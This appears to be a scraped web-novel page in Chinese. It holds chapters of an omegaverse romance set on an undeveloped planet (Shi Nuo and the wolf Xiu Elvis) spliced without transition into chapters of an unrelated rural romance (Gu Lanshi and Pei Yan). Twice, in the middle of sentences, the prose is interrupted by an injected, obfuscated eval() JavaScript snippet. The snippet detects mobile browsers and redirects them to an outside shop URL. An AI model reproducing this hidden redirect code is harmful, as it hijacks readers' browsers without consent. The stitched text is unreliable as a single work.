圆滚滚的蘑菇和伞盖一起切成片,有的伞盖掉了,和菌柄分开切成薄片,有的蘑菇是一朵朵,撕成一指宽的条状。 菌类异香散发出来,时诺切了一盘蘑菇片,撕了一盘蘑菇条,地上还有一桶半的蘑菇,这会儿来不及全部处理。 锅里的薄油热了,他用筷子夹着蘑菇片,逐一放进去小火慢煎。 滋滋—— 蘑菇片煎的冒水,看有点煎黄了,翻个面继续煎。 一股特殊香气四溢,闻着就让人食指大动,时诺咽了咽口水,耐心等着煎熟煎透。 这两种颜色的蘑菇无毒,没有任何后患,只是他怕半生不熟吃了对身体不好。 一些新鲜菌类可以生吃,他吃过不少,大部分都不是很喜欢,除了一种带着点蜜甜味道的,从别的星球采摘运输,生长环境特殊,产量少,价格自然不低。 星际货商航运往来繁荣,食物种类如星海一样浩瀚,菌类更是数不胜数,时家有点小钱,又好面子,菜谱上的食物自然都是小有名气的。 时诺吃过见过的东西不少,但同样,比起更富有的家族,他没见过没吃过的东西也很多。 眼下这两种菌菇没见过,不知道是不是这颗星球独有的。 香气越来越浓郁,见两面都变金黄,时诺撒了盐,夹起一片伞盖切片,吹了吹,咬了一小口,熟透的蘑菇很嫩,鲜美无比,香气宛如一团小分子,在舌尖齿关爆开,馥郁鲜香。 他惊讶无比,眼睛都睁大了,从没想过会有这样的蘑菇,撒一点盐就很香很鲜,味蕾瞬间被征服。 锅底铺了一层煎好的蘑菇,他连忙夹出来放进盘子里,再耽搁就焦了。 修·埃尔维斯带着一身水汽进了厨房,之前在山林探寻,皮毛沾了些草屑污迹,他送时诺到了大门前,就去河边泡着洗了一遍,一回来就闻到股异香,他平时对素食没什么兴趣,这会儿却也不由自主进来觅食。 “尝尝,很香,和别的蘑菇不一样。”时诺有点兴奋,连忙取了一双筷子递过去。 修尝了一口,眉头微挑,确实不错,胜过他小时候吃过的所有菌类。 看修的神色挺满意,还夹了第二口,时诺眉眼浅浅弯了下,跟着一起吃。 一边煎一边吃,都吃完后,时诺又把那盘撕成条状的蘑菇炒了。 尽管没有葱蒜辣椒等用来调味的菜蔬实品,但厨房有瓶瓶罐罐的调料,蒜味料汁也有,倒是给炒蘑菇增加了一点特殊风味。 时诺知道,和自己一起送来的这些物品都是随便打包的,不过偶尔也能从中找到一点惊喜,就好比这次的蒜味料汁,他不爱吃蒜,之前都没怎么用过,这下找到了合适的用处。 蘑菇条大部分都是黄蘑菇,和刚才煎的浅绿蘑菇味道不太一样,肉质肥嫩,炒熟有种淡淡的清香,蒜味的辛辣又增添一种厚重滋味,同样鲜美无比,回味无穷。 蘑菇吃完,盘子底有菜汁,时诺心想,要是有米饭的话,剩下的浓郁汁子拌米饭一定很香很香。 可惜米剩的不多了,只够煮几顿白粥吃。 像米面这种需要加工的主食,在这里难以找到替代品,他不想一次就吃没了,不然时间一长,可能都想不起来米是什么味道。 洗完锅筷,时诺把盆里泡着的莓果仔仔细细洗了两遍,莓果很多,一盆沉甸甸的,还是修从他手里接过,端到外面餐桌上。 酸甜可口的红莓汁水充沛,一口咬下去,红色汁水都要流出来,时诺只能全部塞进嘴里。 原本还想吃完果子后再去刷牙,这会儿嘴巴里满满都是果子的酸甜甘美,连残余的蒜味都盖过,可见其浓郁。 吃了一会儿,时诺觉得有点撑,才停下去摸莓果的手。 这是他第一次感到这颗未开发星球的自然资源如此丰富,野生菌菇、天然水果如此味美,都不知道要怎么形容。 修·埃尔维斯坐在旁边,捏了颗果子懒洋洋嚼,眼皮微垂,耷拉的模样似乎对什么都提不起兴趣。 最近相处下来,时诺知道,如果红莓味道一般,修不会这么给面子,看来也是觉得好吃。 不过比起之前对煎蘑菇的满意,这会儿明显兴致没有那么高昂。 浅绿色的圆蘑菇实在太美味,时诺忍不住抿抿嘴巴,回味了一下。 他想起以前吃过的昂贵菌类,这种蘑菇要是能卖出去,价钱一定可以到离谱的程度,尤其卖给帝星那一圈的星球,那里多得是贵族世家。 帝星圈子一旦流行什么昂贵食材,像时家这种小贵族,很多都会追寻,而这种蘑菇,修也很喜欢。 他知道修曾经的生活,埃尔维斯家族庞大雄厚,主枝一脉的继承人,如果当初顺利长大,现在就是埃尔维斯家族最高位的家主。 对方小时候的吃穿用度,不用细想都会是最好的。 他理解修有时对食物的挑剔,从另一方面想,今天的煎蘑菇一定属于上乘了。 吃到好吃的,时诺心情很好,喝了两口温水,又进厨房忙碌。 剩下一桶半的蘑菇,趁新鲜的话,即使放进冷储柜,估计也只能放两三天,有的蘑菇娇气,放久就失去鲜美的滋味。 他挑了一些蘑菇洗干净,用保鲜器皿装了,放进冷储柜中,留着这两天吃。 剩下的那些同样洗净,切片的切片,撕条的撕条,用各种盘子碟子盛放,端到外面太阳底下晒。 储物间有干燥模式,但仅仅是保持干燥,这里没有留下食物干燥机,只能用最原始的办法。 · 蘑菇汤浓香,没有丝毫土腥味,热乎乎一碗吃完,再吃了一小碗土豆泥,连心情都变好了。 太阳大了以后,时诺把蘑菇端出来继续晒,昨天只晒了个半干。 他蹲在搬出来的椅子前,伸手翻了翻蘑菇,慢吞吞想了一会儿,又看了看时间,快十一点了,他鼓起勇气进了卧室。 窗帘拉着,房间光线较暗,床上是一具高挑修长的身躯,腰腹间盖着一块雪白兽皮。 听到近前的脚步声,修·埃尔维斯睁开眼。 这几天他总是跟着时诺进卧室一起睡觉,只是床不够宽大,勉强能撑住他身高,要是稍微往下睡一点,脚就在床外,有时会蜷起腿睡。 时诺顶着他的目光,不好意思地开口:“埃尔维斯先生,今天能不能,也去一趟山林,我想再采一些蘑菇,为冬天做准备。” 如果可以的话,他还想再晒一些果干。 修坐起来,精壮的上身展露无遗,他想起储物间那些野菜干和土豆,还有昨天晒的蘑菇干。 他在冬天从来不缺吃的,就算大雪封山,照样能找到藏进山洞树洞里的猎物,亦或是到大陆没下雪的另一边生活几个月。 因此对时诺的行为,他没有细想,只以为是存点够下雨时吃的。 比起他,Omega确实需要囤积一些素食来度过绿植匮乏的漫长冬季。 “嗯。”修应了一声,站起一边走一边围好兽皮,进了浴室洗漱。 男人低沉沉的磁音像一把小刷子,轻轻扫过,时诺耳朵微红,但更开心的是对方答应带他去采蘑菇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733561|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等白狼出现,他提起早就准备好的两个小桶,熟练跨坐上去,不用修提醒就趴好抓紧。 他满心喜悦,即使白狼速度过快也不害怕了。 · 一连四天,时诺都求着修·埃尔维斯带他到山里找蘑菇。 今天运气好,深入山林后,一抬头就看见树上生了一大簇黑色木耳。 时诺站在树下,茫然看着笔直粗壮的树干,有些挫败,他根本不会爬树,于是只能转头,看向旁边的白狼。 “埃尔维斯先生,你有没有办法?” 漂亮的Omega声音很小,软软的,带了几分羞赧,柔软乖巧。 每天都要拜托对方带他过来,今天又要麻烦对方想办法摘木耳,时诺越想越不好意思。 见白狼一双蓝色眼睛盯着他没动,他讪讪的,小声说:“不摘了,还是去找蘑菇,蘑菇更好吃。” 这几天在山林里走,他不再像第一次那样脚滑手滑,说着就要往前去,前面树下有几颗淡黄色圆蘑菇。 刚才白狼停下来,就是看见了那几个熟悉的蘑菇。 他过去采蘑菇,听到动静后,转头看过去,就见白狼窜上了大树,动作敏捷轻快,利爪一挥,高处的木耳簌簌掉落。 白狼一个扭身,就从树上跳下,轻盈落了地,身姿矫健极了。 Omega亮晶晶的眼睛比星星还漂亮,修·埃尔维斯神色矜贵淡漠,但一双蓝幽幽的眼珠子紧紧黏在去捡木耳的时诺身上。 木耳装了小半桶,时诺快快乐乐捡完,跟着白狼又往里走,一路走一路采菌子。 第一次发现的那片蘑菇王国,他已经把能吃的无毒类蘑菇都挖的差不多了,因此今天换了条路线。 时诺捡了根结实的树枝,遇到不好走的地方,自己拄着棍就跨过去了,或者手脚并用,不用白狼发现他没赶上,再回过头驮他。 将近四个月时间,说长不长,经常在外面走动提东西,他体质明显比以前强,饭量也大了,以前遇到虫子会害怕会哭,现在见多了,也不觉得有什么,当然他也不会主动去摸虫子,避开就好了。 发现一片菌窝,是熟悉的浅绿蘑菇,时诺放下树枝,蹲着一颗颗刨出来摘下。 烂掉的他都扔了,蘑菇资源太丰富,根本不愁,吃蘑菇的动物在白狼到来前就跑走了,没有任何危险。 白狼又离开了,时诺知道,它是去找野果子,每天都这样。 浅绿色的圆蘑菇摘完,他在原地等待,不远处有一丛红艳艳的大花,开得正盛。 不知道从哪里飞来七八只硕大的彩色蝴蝶,两片翅膀张开,几乎有盆那么大,看得时诺很惊讶,忍不住靠近了一点。 大大的彩蝶颜色鲜亮,红蓝斑纹交错,翅膀下面缀了两条长长的金色尾突,姿态优美,翩翩绕着花丛上下飞舞,时不时停在花心采蜜。 他没有靠得太近,兴致盎然观察大蝴蝶采蜜的过程。 一只蝴蝶朝着时诺飞过来,绕着他飞了两圈,时诺没有乱动,怕惊扰到大自然的生灵,他很高兴,从没想到会有蝴蝶绕着他飞,于是目光跟随。 那只大蝴蝶又飞回花丛,停在花心上,其他蝴蝶也都纷纷落下,每一只都占据了一朵花的花心。 硕大的蝶翅扇动起来,忽闪忽闪,七八只蝴蝶的扇动频率很快变齐,用同样的速度扇起一阵不小的风。 眼前一幕让时诺感到惊奇,谁知那阵风正好对着他。 风里带着许多颗粒状的花粉,一下子扑面而来,时诺瞬间咳嗽,眼泪也被刺激得掉下来。 22.第 22 章 时诺连忙后退,可怜兮兮揉了揉眼睛,咳嗽个不停,带着满眼泪水抬头,就看见那些大蝴蝶又飞起来,绕着花丛上下舞动,明明只是蝴蝶,他却从动作中看出很明显的洋洋得意。 一瞬间时诺明白了,它们是故意的。 连蝴蝶都欺负他。 原本兴致盎然的时诺意识到这点后,顿觉委屈,他没有故意打扰对方采蜜,只是在附近看看。 连续的咳嗽声引来白狼,一过来就看见可怜到极点的Omega,眼眶红红,不断掉眼泪,一副被欺负惨了的模样。 它靠近,闻到时诺脸上浓郁的花香,皱着眉问道:“怎么了?” 时诺勉强忍下咳嗽,指了指那边的大蝴蝶,郁闷开口:“蝴蝶,用翅膀扇起花粉,呛到了。” 白狼转头,不善地盯过去。 它认出了这种彩蝶,种族天性带着恶性顽劣,会用翅膀扇动花粉欺负其他动物,也会上百只一起,缠在某只它们看不顺眼的动物身上,覆盖全身,翅膀捂住对方口鼻,几天都不会从动物身上下去,生生拖累死对方。 白色烈焰倏然席卷,直接烧死了一只还在挑衅式飞舞的蝴蝶,其他蝴蝶见状,纷纷逃离,但快不过火焰,一连四只都被烧死。 剩下的两只惊慌失措,大翅膀几乎扇出残影,竭力想要逃离。 火焰消失,白狼收回目光,转头舔了舔时诺眼皮。 时诺下意识闭上眼睛,湿热感印在眼皮上,很快,那种刺痛感消失,眼泪也不流了。 就是咳嗽依旧忍不住。 唇被轻轻舔了下,时诺睁开眼,瞳孔微颤。 等白狼转身离开后,他还站在原地,耳朵红透了,唇也红的不像样。 口腔中那股冷冽莲香很浓郁,他不敢回想刚才的事,红着脸找了个干净石头坐下,但好一会儿白狼都没回来,他打开光脑看了眼时间。 白狼从不会远离,想到这里时诺放了心,他没敢乱走,就在这里默默等待,直到半小时后,才听到落叶被踩的动静。 白狼叼着一个大蜜巢回来,蜜巢有一处破损,缓缓渗出、滴落金黄色的蜜。 这种大蝴蝶很讨厌,但酿造的花蜜很甜。 它刚才嗅着逃跑的两只大蝴蝶味道,一路跟到了蝴蝶巢穴,直接把蜜巢从中空的树干中掏了出来。 那些蝴蝶想扑它,白火一出,全都落荒而逃。 蜜巢比两个小桶加起来都大,时诺再顾不上害羞,等白狼把大蜜巢放在地上,他围过来,忍不住“哇”一声。 他吃过蜂蜜,蝴蝶酿的蜜还没吃过,也从没见过蜂巢,更别说这么大的一个。 蜂巢有破损,又装不进桶里,白狼叼着蜂巢,直接带时诺回去。 没有多余的瓶子杯子,时诺找了几个碗,将金黄花蜜从蜂巢中挤压出,放进冷储柜中贮藏。 蜂巢大,花蜜很多,还剩不少,但是碗碟不能再用了,不然平时吃饭就不够,他只好拿了一个干净的厨用金属盆,将整个蜂巢放进去。 蜂巢已经破损,他掰了一小块咂味儿,甜津津的,蜜味很浓,见盆底渐渐聚起不少蜜,一时犯了难。 之前没有的时候觉得什么都缺,眼下突然有了花蜜吃,但太多了,根本不知道要怎么吃完,泡水喝估计得喝好几年。 他看着蜜巢皱眉思索,想起以前吃过刷了蜂蜜的各式烤肉,尤其烤整只的,无论禽鸟类还是食草类,刷了蜂蜜后烤制,别有滋味。 但厨房没有明火,冷储柜只剩下几块红鹿肉,煎肉片方便,没有各种签子,烤肉就难了,再说他以前也只是吃过。 等明天煎肉的时候刷上一些花蜜尝尝,回头要是找到不好吃的浆果,也可以用花蜜拌一拌,说不定就甜了。 花蜜烤肉先放一放,没有那个条件。 没有明火不说,花蜜烤鸡一类的,他自己抓不到野鸡野鸭,想吃肉,得有代价。 时诺默默端起盆,放进冷储柜中,无论冷藏区还是冷冻区,空间足够,东西却很少,放一个大盆进去绰绰有余。 · 清晨。 白雾蒙蒙。 舒适温暖的卧室光线昏暗,时诺睁开眼,尚未清醒过来,神色发懵,他翻个身,柔软干净的薄被盖在身上,外侧是宛如暖炉的结实身躯。 他一动,修·埃尔维斯也翻个身,从平躺换到面向里侧躺,结实修长的小臂搭过来,顺势搁在时诺肚子上。 时诺揉了揉眼睛,渐渐清醒,看一眼时间才七点,他轻轻挪开修的胳膊,坐起来发一下呆,才轻手轻脚从床尾下去。 床是靠墙的,他睡在里面,总不能从对方身上跨过去。 修·埃尔维斯收回胳膊,紧闭着眼睛不愿意睁开。 每天早上都是这样。 修不喜欢早起,他这么多年习惯了天地为家,困了就睡,饿了就吃,从不被时间束缚。 带着Omega信息素的被窝又香又软又暖,远比野外的石头舒服,客厅厚实的地毯也比不过。 一进浴室,刚在洗漱镜前站定,时诺就看见自己红肿的双眼,他忍不住揉了揉,在床上就觉得有点难受,还以为是刚睡醒的缘故。 昨天花粉飘进眼睛里,以为被舔过后就没事了,没想到今天肿了起来。 眼睛里有明显的红血丝,不知道发炎还是感染。 手持治疗仪中有外用消炎药,但这是眼睛,没办法使用,最多可以使用治疗仪的冷敷冰镇,让眼睛稍微缓解一下。 时诺郁闷不已,先拿了牙刷刷牙。 无意中抬眼,看见镜子里自己丑陋的发型,额前碎发参差不齐,像被啃过一样,这下又肿了眼睛,眼睛也红,偏偏脸色有点苍白。 丑到一瞬间产生心碎的感觉,时诺刷牙的手顿了顿,随即压下自卑,慢吞吞洗漱完。 光脑弹出天气提醒,下小雨了。 时诺进厨房煮土豆当早餐,看了眼窗外,雨丝被风吹斜,天灰蒙蒙的,看着就有点冷。 等待水开的空当,他进卧室拿了治疗仪,坐在餐厅给眼睛冷敷。 好在除了有点痒有点发热以外,不疼不难受,应该问题不大。 修对土豆这些不感兴趣,从来不吃,下雨出门不方便,今天就不去采蘑菇了。 时诺没有喊对方起床,吃完早餐没有事情做,他窝在客厅沙发上发呆,无聊翻了翻光脑。 看见日历的标注后,不免有些心神不定。 不到半个月,就是他的发-情期。 他已经被终身标记,修·埃尔维斯最近一直在,没有离开的迹象,发-情期说好过也好过,有Alpha信息素的给予,生理上不会那么难熬。 但…… 修的yu望很直白,能力也强,标记过后,Alpha对Omega的占有欲很强,很容易被信息素吸引,尤其Omega发—情时,会引起对方野兽般的本能。 这颗星球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738153|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年十六个月,比他之前在的风霖星多了四个月,或许环境会对身体产生影响,说不定发—情期会推迟。 东想西想,直到白发男人从卧室出来,时诺才压下各种思虑。 修·埃尔维斯一脸困倦,下雨的时候他就听到了声音,知道时诺今天不会出门,但等了很久,都不见Omega进卧室继续休息,他只好出来找。 沙发上的漂亮Omega今天脸色不好,眼睛红肿,可怜兮兮的模样,他皱眉,上前仔细查看。 轮廓清晰、流畅的一张脸俊到极致,冷峻、英挺,几乎是完美的外表,无论脸还是身材,张扬性感,极具攻击性。 时诺被近在眼前的美冲击到,下意识想要避开视线。 但男人有力的手掐住他下颌,禁止他低头,又用另一只手掰开他眼睛。 被迫睁大眼,时诺没有挣扎。 “没事,有点炎症,你体质不算太差,不用药也会消。”修放下手,他五感敏锐,判断这点小病症不成问题。 时诺伸手,还没揉到眼睛就被捏住手腕。 修·埃尔维斯眉头紧蹙:“揉什么,这几天都不要乱揉。” 刚才大睁着眼睛,不免有点酸涩,就想轻轻揉两下,这下被训,时诺讷讷答应:“嗯,我知道了。” 话音刚落,时诺身体腾空,被高大男人抱着进了卧室。 他有点紧张,好在上床后,修只是抱着他睡觉。 玻璃外雨声淅淅,冷冽莲香笼罩下来,离得太近,时诺可以闻到男人胸膛处,从肌肤中透出来的温热暖香味,被体温染热,明明是一种味道,却莫名更好闻。 修闭着眼睛睡了,不再有压迫感。 时诺才敢悄悄往对方怀里蹭了蹭,被彻底标记后,他对修产生了很强的依赖感,很喜欢在对方身上寻找安全感,而修的体魄和性格,也确实给他带来了无与伦比的安全感。 只是两人毕竟没有那么熟悉,他腼腆内向,根本不是主动热情的性格,有时候也惧怕修和别人不一样的直白强势,连客气都要直接拆穿,因此压抑了被标记后的本能。 在结实精壮的怀抱中,时诺睡不着,思绪又飘远。 修这样的外貌,无论在哪里都是人群中的焦点。 而他自己,长得不丑,但比不上其他人。 时诺接触过的不少Omega都有着无与伦比的美貌,无论少年时期还是成年后,在Omega中他从来都不是耀眼的。 时家只是小贵族,他在圈子里的位置不高不低,有一定的存在感,但不多,父母兄姐的耳提面命下,对家世高的人,他需要去迎合讨好。 因为嘴笨和内向,长相又不是最出众的,在这种事情上他从来都没办成过,因此家里对他总是训斥埋怨。 时诺原本没有那么在乎容貌,然而父亲的一个私生子十五岁时被领回家,那是个极漂亮的beta,比Omega还漂亮,一来就吸引了诸多目光。 那时候时诺才十三岁,分化成Omega了,但还没长开,清秀,但普通,和漂亮明艳的私生子哥哥一对比,倏然就失了颜色。 这样的对比太明显,一眼就能看出,连父亲都对他的容貌不满起来,明明是个Omega,却连beta都比不过。 自卑在心里埋下了种子,时诺没有自怨自艾,也没有过度追求美,他太软弱,根本生不出争辉的心思,只是在面对漂亮大方的人时,会暗暗羡慕对方的明媚。 50-60 第51章 一大早,顾兰时打了一筐猪草回来,又提起竹篓和小锄头,赶了六只鸭子往河边走。 鸡鸭要想长得好,光吃草和麸子谷糠不太行,像蛐蛐蚂蚱还有泥里的地龙河里的各种小螺这些,对鸡鸭来说是荤菜,吃了有好处,甚至蜈蚣蝎子这样的毒虫,鸡也能吃。 小鸭子这几天长大了一点,到河边后不用他撵,自己就下了水,它们知道觅食,不用多管。 他蹲在河边的湿泥地上挖地龙,手上小臂上全是泥也没在意。 裴厌早起先到水田看了,明天再插秧不迟,他便背着筐子上山捡石块,垒猪圈还不够,得多弄些回来。 湿泥被翻开,茂盛的草根底下有不少地龙,纠结抱团在一起涌动。 这一团地龙多,顾兰时看的胳膊上汗毛都竖起来,湿泥有点多,他弯腰站在河边,用手捧了几捧水泼在地龙团上,冲掉了一点泥。 他又从旁边找来树枝,和锄头一起七手八脚把地龙往竹篓里挑。 不少地龙掉下去,到底没有手好用,可他又不敢直接上手,就从地上捡了几片大树叶,用树叶包着,好歹把这团地龙都放进了篓子里。 抬头看一眼游水的小鸭子,见它们游远了,顾兰时拍着手口中呼喝。 鸭子原本就会认主人,鸭苗没有母鸭的话会跟在人后面,他又成天喂,早已熟悉,六只小鸭子蹬着腿划拉回来上了岸,见他没走远,便又成群结队下水去游。 蛐蛐蚂蚱会在草里蹦跶,不如挖地龙来得快,顾兰时在河边和树下几经搜寻,弄了大半竹篓,沉甸甸的。 他在河边洗洗手和胳膊,见草鞋上也沾了泥,就下水涮了涮,顺便翻了几块石头。 只摸到五个青螺,他不嫌少,都丢进篓子里,回去砸碎了好喂鸡。 已经辰时末了,过会儿太阳更大,顾兰时拎起竹篓,朝河里游水的小鸭子拍拍手喊一声,自己先在前面走,没多久上岸的鸭子就跑来跟在他身后。 院门锁着,裴厌还没回来,他开门进去,没有再关院门,大黑便跑了出去,顾兰时没管它。 大黑不常去村子那边,在院里看家待闷了会到河边和树林子里跑,有时还会刨田鼠洞抓田鼠吃。 以前裴厌不怎么喂它的时候,它就是这样活下来,村里有些人养狗也舍不得多喂,狗饿了会和大黑一样到处刨土,有的还会上山搜寻。 顾兰时倒出一些地龙,因鸡仔还小,柴刀裴厌拿走了,他取了短斧头过来将地龙剁成好几节,用树叶包着丢进鸡圈里。 十几只小鸡飞快围拢,一个比一个吃得欢。 旁边鸭圈里小鸭子嘎嘎叫了两声,鸭子已经在水里觅过食,怕它们不知饥饱撑死了,他给鸭子剁的少。 看一眼篓子里剩下的地龙,还有不少呢,顾兰时没有再喂鸡鸭,留着下午给它们吃。 舀了半桶水拎到后院,猪仔卧在篱笆圈里睡觉,他一天喂三顿,早起晌午和晚上,猪仔吃完就睡,怕天热它渴的快,添水勤了些,有时还会剁草给它加一顿。 提着空桶还没走出过道,顾兰时就听见前院的动静,是裴厌回来了。 果然,院子里裴厌卸了竹筐,从里头搬出两个沉甸甸的方形石块,见他过来,说道:“我找到一处山石多的地方,大小合适的石头有不少,我再去一趟。” 用竹筐往下背一次最多两三块,不然筐子负担不住,山路难走,别的法子都不合适,也只能如此。 顾兰时想了下,说:“要不我和你一起去,这会儿还早,等回来再做饭不迟。” 裴厌往堂屋走想喝口水,边走边说:“石头沉重。” 顾兰时笑道:“我背一块不就行了,多一块你少一块,省省力气,后边田里的活也重呢。” “路上咱俩说话也能解解闷,眼下家里也没别的活,再不济,你去搬石头,我沿路找找山货,晒点黑木耳,要是捡到菌子,明天给你炒着吃,下地好有力气。” 顾兰时许久没上山,他爹娘不让去,不过他如今成亲了,过了那个坎,加上有裴厌在,肯定不用怕。 他都清点过了,家里除了野菜干,其他山货很少,就算不去卖,弄些回来也好给他俩打打牙祭换换口。 一起去。 裴厌喝了一碗温茶,垂眸也不知在想什么。 顾兰时自说自话,又道:“最近都忙,我一个人又不敢上山,要是路过竹林的话,拔几颗笋子,好久没吃了。” “行。”裴厌放下碗。 顾兰时露出笑脸,问道:“你这会儿饿不饿?要不先垫垫肚子,回来做饭肯定比平时饭点晚。” “好。”裴厌又给自己倒了半碗水。 顾兰时进灶房拿了三个糙馒头,四下看看,心想早知道回家捞几个咸菜,他只得把昨天要的两个咸鸭蛋切了一个,没舍得全吃了,只拿了一半,见菜刀上沾了红油,他用馒头擦掉。 两人将半个咸鸭蛋就着馒头吃完,锁院门的时候顾兰时笑眯眯说:“回来熬点稠米粥拌鸭蛋吃,咸咸香香的。” 裴厌自然应好,相比早上自己一个人上山,他这会儿心情很好,往常总是冷峻的眉眼像是带了一层笑意,左脸上那条长疤看起来不再那么狰狞。 顾兰时背着筐子,边走边说:“最近没下雨,也不知道有没有地皮菜,要是能捡到的话,回来包包子吃。” 裴厌看一眼天,说:“太阳大了,估计不好找。” 顾兰时对找山货很上心,轻快说道:“那就找点别的。” “嗯。”裴厌走在他左边,认真听着每一句话。 山石多的地方比较远,顾兰时不知道在哪里,路上也没问,只管跟着裴厌走。 他不是抬头看树上有没有黑木耳,就是在地上搜寻菌子,见有野枸杞树,他掐了些嫩芽,碰见野茶树,他和裴厌一起摘了不少。 乡下人多喝山野粗茶,无需多繁琐的炒茶制作,他们这儿多半都是简单炒青再晾晒,有个茶香就不错了。 裴厌一点都不着急,慢悠悠陪着人走。 树木高大繁茂,进了密林子后,连光线都变得青蒙蒙,山上各种鸟雀很多,能听见叫声。 顾兰时抬头找木耳的时候,看见树叶掩映的枝条上有大尾巴松鼠往上面窜。 裴厌出门时拿了弹弓,沿路捡了一些小石块揣着,他眼睛很好,到大山雀多的地方后,让顾兰时藏在树后别动,自己在林子里寻找。 他盯准了树梢上一只大的,弹弓一拉,顾兰时在树后探脑袋,还没怎么听到声音呢,就看见从树上掉下大大的黑影。 其他山雀被惊动,应声而起,扑棱棱四散逃走了。 裴厌过去捡起山雀,这种鸟儿比其他雀大一点,肉也能多一点。 示意顾兰时在那里别动,他拎了山雀在树后躲一阵,等鸟雀再次落下枝头后,又是一弹弓射过去,被他盯住的山雀掉落在地。 两只足够了。 见裴厌看过来,顾兰时意会,屁颠屁颠带着两个竹筐到了跟前,他眼睛亮晶晶的,一脸仰慕憧憬看着裴厌。 打得实在太准了,一下就能中。 那双眼睛好像会说话,让裴厌一下子知道他在想什么。 从小没听过任何夸赞,这样的眼神更不用说,没人会这样看着他,裴厌想矜持一下,可唇角不受控往上弯,他想避开视线,可眼神忍不住往顾兰时脸上飘。 真真切切看见了笑容,顾兰时有点惊讶,但更多的是高兴,他也不知道自己怎么了,手脚像是不听使唤,在原地转两圈,手舞足蹈不知道该怎么摆放。 “你。”他高兴得很,连话也说不全,心中喜悦想要迸发却没有门路,急得他不知要怎么办,最后干脆一头撞进裴厌怀里,用脑门抵着裴厌胸膛蹭了几下。 裴厌措手不及,被他一脑门撞得往后退了半步才稳住。 等顾兰时反应过来不妥,脸瞬间涨红,羞得连头都抬不起来,僵硬着不敢动,连呼吸都放轻了,生怕吸气声大一点会被听到。 他自欺欺人,蒙骗自己裴厌看不到他,于是才悄悄往后退去。 后撤的步子还没落在地上,顾兰时就被抱住了,长而有力的胳膊紧紧勒住他的腰,他迫不得已,和裴厌紧紧贴在一起。 炙热的体温透过衣裳传来,顾兰时脑子糊涂了,不知道这是在干嘛,他忽然想起上次被裴厌背下山的情景,一早就知道裴厌身上热,没想到今日更甚。 也许是天太热了。 等他晕晕乎乎觉察到什么东西不对的时候,裴厌放开了他。 有风吹来,顾兰时清醒了一点,脸颊耳朵通红,一双眼睛往上看往下看往旁边看,就是不敢看裴厌。 而裴厌此时垂下眼眸,下颌线紧绷,他背过身后想解释一下,张开嘴又紧紧闭上了,这种事越描越黑,根本就解释不清。 “你……”顾兰时盯着地面上一片树叶小声开口。 背对着他的裴厌沉默一阵,总算找到了声音,哑着嗓子说:“一会儿就好。” 两人都没说话,鸟雀似乎全飞走了,树林里只剩下山风吹动树叶的沙沙轻响。 不知过了多久,听到声音后,顾兰时从羞愧走神的状态中出来。 裴厌重回沉默,一言不发将两只山雀放进竹筐里,自己背一个拎一个筐子走在前面。 刚才的事实在尴尬难以面对,知道裴厌沉默不是在生气,顾兰时同样没开口,揉揉发烫的脸颊跟了上去。 直到两人满载而归,吃饭时心照不宣将此事略了过去,说起明天插秧的事,这才慢慢恢复正常。 第52章 插秧是个体力活,从早起一直到傍晚,腰弯个不停,太阳出来后汗水几乎浸透全身,好在这时节还没到很热很晒的时候。 顾兰时赤脚踩在水田中,脚底板陷在湿泥里,走动时不免发出咕叽声。 手里的秧苗插完后,他直起身擦擦汗,转头看一眼已经超过他一截的裴厌。 找个手脚麻利又有力气的汉子对乡下人来说很重要,家里有壮劳力是完全不同的。 顾兰时稍微喘口气,从背后的单绳小竹筐里又拿出一把秧苗继续插。 这边只有一亩地,他和裴厌一人一半,眼见裴厌往后去了,他也不能落下,两个人一亩地,今天中午差不多就能弄完。 旁边地里也有人干活,但大伙儿都忙着干活,顾不上说闲话。 晌午太阳越大了,顾兰时眯着眼睛看天,汗水从脖子上流下,他腹中饥饿,看一眼身后的秧田,因裴厌已经转向他这半边插秧,从那边地头开始插,只等汇合,两人中间的空地已经不多了。 他擦擦汗说道:“我先回去做饭,你插完就回来。” “好。”裴厌答应一声,从竹筐里拿出秧苗继续插,热得满脸都是汗,衣裳都是湿的。 顾兰时上了田垄后拎起草鞋,光着泥脚匆匆走回了家。 他插秧其实不算慢,奈何裴厌手脚太麻利,连走路都比别人快,之前也听裴厌提过一嘴,行军赶路时走不快会被落下。 开了院门,大黑在阴凉处睡觉,见是顾兰时进门,它抬起的脑袋又搁在前爪上。 一碗水下肚解了渴,顾兰时没忙着歇息,进灶房先点火。 他早上起得早,把竹笋和剁成块的山雀肉下了锅,已经煮熟了,这会儿热热就行。 他把笼屉架在肉汤锅上热馒头,另一口锅好用来炒菜。 看见案台上的猪油罐子,他想了想,还是没用荤油,早上已经吃过了,就用菜油炒菜。 早起时他和裴厌啃馒头,把猪油夹在馒头里,再撒一点盐,吃着有油又有咸味,干活力气就足。 春菜早上已经切好了,下锅炒熟很快盛出来。 没看见裴厌回来,顾兰时在菜地里摘了四根丝瓜割了一大把韭菜,淘洗淘洗切好,留着下午回来做。 他把饭菜端上桌,没多久裴厌进门,稍歇一歇,他俩吃完喂过禽畜又往地里赶。 庄稼人少有闲适的时候,忙完自家的活,裴厌又去帮岳丈家插秧,顾兰时和他一起,好在顾家人也多,六亩地没耽误多久,便和顾兰生顾兰河一起去白水村干短工。 